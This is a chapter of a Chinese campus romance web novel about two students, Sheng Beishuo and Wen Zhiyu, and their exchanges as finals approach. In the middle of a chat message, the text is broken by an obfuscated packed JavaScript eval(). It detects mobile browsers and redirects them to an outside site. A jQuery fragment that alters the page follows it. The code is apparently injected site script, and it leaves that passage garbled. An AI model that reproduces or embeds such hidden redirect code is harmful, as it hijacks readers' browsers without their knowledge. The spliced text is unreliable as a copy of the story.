*
自从上次去温知妤家里讲了题,盛北烁怕太主动吓着她,生生忍住了再去找的念头。
只是偶尔发条消息,往他小姨书店里跑的次数多了。说是来帮忙看店,其实是想不经意偶遇一下。
然而这半个多月来,一中学生似乎都在忙着准备期末考试,店里没几个人,更别说三点一线的温知妤了。
午后的光透过玻璃,在地板上拉出长长的光影。
盛北烁坐在收银台旁,长腿随意交叠,一只手握着手机,白色耳机线搭在颈边,他正垂眼听歌,侧脸线条利落,又带着少年特有的柔和。
钟扬带着林飞越一伙人老远就瞅见了他,直接推门而入。
钟扬凑上前,在他视线前方挥了挥手,笑嘻嘻地起哄:“烁哥,你都拒绝我好多次了,再这么窝在书店里,真要成文艺青年了。走,打球去。”
盛北烁起身,林飞越就更不客气,人还没站稳就直接跳起来,胳膊一勾,熟稔地揽住他的脖子:“别磨磨蹭蹭的,今天拐也要把你拐去球场!”
这人性格也挺跳脱,人住家属院,高三时在他隔壁班,他们经常约球,关系挺熟的。
盛北烁无语地抬眼看这几个活宝,书店里也没什么人,他给小姨打了声招呼,便任由几人勾肩搭背,吵吵嚷嚷往一中的小操场走去。
场内,他随手把外套折了放在座位上,只穿了件宽松的白色短衬衫,少年正是骨架抽条的时候,肩宽腰窄,线条分明,腰线往里收得利落,清瘦却一点不单薄。
“烁哥,今天可别放水啊。”林飞越吼了一嗓子。
“放个屁,上次被你虐得还不够?”钟扬嚷嚷着。“今天非得赢你一回。”
盛北烁嗤笑一声,侧身避开,手腕一翻就把球运在身侧,脚步轻快地往前压,懒洋洋地说:“行啊,尽管来,让你们先攻。”
“操,你少嚣张!”林飞越扑上来就要抢球,“今天哥几个一起上,看你还怎么装!”
一个多小时下来,几人全被打得没脾气。林飞越被晃得晕头转向,忍不住骂:“我真服了,你他妈是不是长了八只眼?怎么跑都被你掐得死死的。”
盛北烁拍着球,声音带着点喘:“再来。”
钟扬彻底累瘫了,满头大汗地蹲在地上拧开矿泉水猛灌,连连摆手:“不来了不来了,你是魔鬼吧……再打下去我人要没了。”
盛北烁也热得够呛,蹲在一旁的台阶上,仰头灌了口雪碧,水珠顺着下颌线滑进衣领,晕开一小片湿痕。
林飞越抱着水瓶也凑了过来,几个人乱糟糟地蹲坐成一排。缓过来吼,他就用胳膊肘顶了顶盛北烁,八卦道:“烁哥,最近天天看那破店,和妤姐进度怎么样?”
盛北烁转了转小半瓶雪碧,平淡地说:“没怎么碰见。”
钟扬闻言,很是懂事儿地点头,拍了拍他的肩膀:“这叫顺其自然,缘分到了自然就碰上了。我觉得烁哥做得对,总不能一直上赶着去找妤姐,怪打扰人家学习的。”
林飞越往台阶上一瘫,满脸恨铁不成钢:“反正我是忍不了,换我早就冲上去了,哪像你在这儿干等。”
几人正聊着,盛北烁手机就震动了一下,他垂眸解锁,顶端弹出备注【小鱼】。
钟扬眼睛最尖得很,瞄了一眼就炸了:“卧槽还真等到了,这不会是妤姐发的吧?”
林飞越一听,也连忙要看,盛北烁眼疾手快扣过手机,侧头瞥了他俩一眼,低声骂了句:“我去你的。”
嘴角却忍不住微微上扬。
钟扬啧啧两声,揪住林飞越的后衣领,把人往后拽了起来:“切,小气鬼,不给看算了。走了走了,我俩先撤,回去吃饭。”
两人闹哄哄地挥手走在前面。
盛北烁闻言起身,垂眸看着手机屏幕。此时天边夕阳正沉,大片火烧云漫过教学楼顶,把整个操场都染成暖黄色。
风一吹,少年发梢微微扬起,光影下,盛北烁抬手,对着天边按下拍摄键。
*
放学后,温知妤走在家属院的小路上,书包里装了今天的试题和盛北烁的笔记本。
盛北烁的笔记确实很好用,条理清晰,把零散的知识点都归整得明明白白,学起来省心不少。比如今天那道导数题,她一翻他的笔记,果然找到了同类型的解题思路。
久而久之,每晚复习数学时,这本笔记就成了她必带的东西。
算算日子,她已经有半个月没见过盛北烁了。
临近傍晚,路灯亮着微黄的光,经过住户家时,偶尔飘出淡淡的饭菜香,坡上坡下的石板路被踩得光滑,几个孩子嬉闹着跑过,留下一阵清脆的笑声,不过多时又归于平静。
温知妤住的七栋本就不远,她没走几步就到了楼下,脚步却不受控制地,又往南边多绕了一段。
再往前就是六栋。她下意识抬头望向三楼,那扇窗亮着柔和的光,安稳嵌在暮色里。
她怔了一下。
怎么莫名其妙走到这儿来了?
温知妤摇了摇头,在心里找了个理由。
大概是想盛阿姨了吧?她对这位心直口快又亲切的长辈印象很好。
回到书桌前,温知妤把自开学以来所有的月考试卷都订成了一本,因为提纲是不变的。这样做不仅方便收纳,还可以按专项模块找出薄弱点,在考试前把失分率高的板块集中重新做一遍。
是的,盛北烁的笔记上除了归纳的题目以外,还用了整整三页写满了学习方法。温知妤试了几种,确实提高了效率。
但这样做也太奇怪了,温知妤想。按理来说,学习方法心里自己清楚就好,这样一条条整理下来,倒像是特意要给谁看似的。
大概学霸都有这种整理强迫症吧?凡事都要做到极致规整。
两小时后,温知妤合上试卷和笔记时,窗外已经彻底暗了下来。
她伸了个懒腰,才想起去摸被扔在一旁的手机。
半个月没怎么和人聊天,她鬼使神差地点开了微信,往下划拉了一下,那个人的对话框居然多了几个消息红点。
她这段时间埋头刷题,手机常年静音放在一旁,愣是一条都没看见。
往上翻几条,全是他发来的话。
【DAWN】:笔记里的例题步骤有点跳,不懂可以问我。
“期末别熬太晚,刷题刷傻了是吗?”
“不聊题目,也能找我。”
温知妤看着他的消息,有些愧疚,输入:
“抱歉抱歉,之前没看到消息。”
“你之前整理的学习方法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492281|202286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我试了,还挺有用的。”
对面反复显示了几次输入中。
“有进步就行,也算没白写。”
少女愣了愣,对面接着发来了张图片,她点开了页面。
画面里,是盛夏黄昏时晃眼的晚霞,漫天都是灿烂的橘调,掺杂粉紫色渐变,像是被人打翻了调色盘。右下角,还能看见熟悉的教学楼顶。
“某人成天埋在题堆里,估计连外面天是什么颜色都忘了。”
“行了,不占你时间,考试加油。”
短短几句,就将温知妤的心搅得不宁静。
盛北烁有女朋友,说不定对谁都是这般顺手帮衬,断然不会只对她一个人特殊。
虽然他确实帮了自己很大的忙,但学习和感情应该拧得清,不能把感激错当成好感,当个朋友还差不多。
她吸了口气,删去打好的长句:“知道了,谢谢。”
随后就如烫手山芋一般,迅速关掉了手机。
*
锦城一中通常会把期末考办得重大,更何况这次涉及分班,于是在前一天,为了布置考场,就让学生清空抽屉,把书箱搬到行政楼去。
次日一早,余葵就赶紧找到温知妤:“温温,得赶紧把书搬出去,行政楼办公室都快被占满了,再慢就只能放走廊了!”
一中的教学楼是回字形布局,四栋楼宇首尾相连,围出一方开阔中庭,连廊贯通,处处透风。这样的布局,虽然夏天能驱散暑热,但下雨的时候就不太妙了。
温知妤想起上次月考突降大雨,她放在走廊外的复习资料全被淋湿了,心里一紧,连忙低下头光速整理抽屉。
大课间,她就和余葵两人一前一后,又是背包又是拧书箱,拖着沉重的身体从教学楼一路爬楼梯,到了最上面的行政楼。
她们上午搬书,本以为已经抢先了,结果发现周围全是气喘吁吁的同学。
行政楼办公室在四楼,又一场恶战。
于是她们先把书箱放在了一楼,余葵爬了两楼实在不行了,看着旁边的小情侣,男生在帮女生搬书,无奈:
“老天啊!能不能让我交个男朋友,平时少来打扰我,偶尔帮我拿快递搬书就行。”
温知妤的状态比她好不到哪去。她的刘海沾了细汗,有气无力贴在额角:“挺狡猾啊你,还想拿人家当工具人。”
两人心照不宣在楼梯口休息了一会,后面的脚步声越来越多,她们搬起书,正准备接着上楼。
“我来帮你们吧。”许浔从楼上下来,目光淡淡扫过狼狈的温知妤。
“哇,许学神果然未雨绸缪,这么早就来了。”余葵如释重负,像是遇到了救星。
温知妤说:“谢谢。”
她们手中的书其实不多,只是一路上坡下坎,所以走得格外累。许浔轻松地接过书,转身,背影清瘦挺拔。
余葵挽紧温知妤的胳膊,小声痴痴道:“许浔人真好啊,长得也好看,要是……”
“打住啊你。”温知妤戳了戳她的额头,正色说:“高考前不许想这想那,好好学习。”
余葵瘪了瘪嘴。
两人不再多言,紧接着跟了上楼。
温知妤的脚步慢了半拍。只有她自己知道,这句话不光在对余葵说,也是在对自己说。